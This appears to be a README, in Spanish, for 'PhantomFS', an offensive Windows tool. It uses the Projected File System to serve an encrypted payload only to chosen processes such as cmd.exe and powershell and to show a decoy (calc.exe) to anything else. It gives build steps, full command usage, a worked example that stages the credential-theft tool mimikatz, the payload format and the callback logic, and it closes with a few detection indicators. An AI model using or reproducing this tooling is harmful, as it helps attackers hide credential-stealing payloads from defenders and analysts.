
Servir cargas útiles solo a procesos permitidos utilizando la característica del sistema de archivos proyectado de Windows.
Proveedor de ProjFS. Proyecta archivos cuyo contenido depende de qué proceso los lee. El payload se almacena cifrado con AES-256-CBC en disco, descifrado solo en memoria en tiempo de ejecución. Esto no debería evadir ningún EDR, ya que el payload se escribirá en disco cuando procesos permitidos intenten leerlo. Todo lo demás obtiene acceso denegado. Esto podría enfadar a algunos analistas, ya que sus herramientas no lo leerán o simplemente cargarán un señuelo. Pero puedes ver fácilmente que es un ProjFS usando un punto de reparse.
1) Generate key: PhantomFS.exe -keygen
2) Encrypt payload: PhantomFS.exe -encrypt mimikatz.exe -key <key> -out mimikatz.enc
3) Serve: PhantomFS.exe C:\Staging -file mimikatz.enc -key <key> -decoy C:\Windows\System32\calc.exe
Example:
PhantomFS.exe C:\Staging -file mimikatz.enc -key 7ed5a44412447be587b2ca2e4eacb17d41c869360663ae0fea1d0caca159483c -decoy C:\Windows\System32\calc.exe
Resultado: C:\Staging\calc.exe aparece en el sistema de archivos.
cmd.exe al leerlo obtiene bytes descifrados de mimikatz.VS2022, abre PhantomFS.sln, compila x64 Release. Requiere Windows SDK (encabezados + librerías de ProjFS).
Enable-WindowsOptionalFeature -Online -FeatureName Client-ProjFS -NoRestart
El proveedor se ejecuta con integridad media, no necesita administrador (la activación de la característica ProjFS sí requiere administrador).
PhantomFS.exe -keygen
PhantomFS.exe -encrypt <input> -key <64_hex_chars> -out <output.enc>
Formato: [16 byte random IV][AES-256-CBC ciphertext with PKCS7 padding]
PhantomFS.exe <root_dir> -file <payload.enc> -key <hex> -decoy <benign_file>
[-name <virtual_filename>]
[-allow <process_substring>] (repeatable, default: powershell.exe, pwsh.exe, cmd.exe)
[-deny-read <process_substring>] (repeatable)
[-quiet]
Los callbacks de ProjFS reciben TriggeringProcessImageFileName en cada acceso a archivo:
GetFileDataCallback: Verifica el proceso contra las reglas, sirve el payload o los bytes del señuelo.NotificationCallback PRE_DELETE: Bloquea procesos no permitidos de eliminar.FILE_HANDLE_CLOSED: Llama a PrjDeleteFile para forzar la rehidratación.El truco de la rehidratación es necesario porque ProjFS almacena en caché el contenido del archivo después de la primera lectura. Sin ello, el segundo lector obtendría lo que recibió el primero.
PrjStartVirtualizingIO_REPARSE_TAG_PROJFSPrjFlt en altitud 189800 (fltmc.exe)Microsoft-Windows-ProjFSInspiración: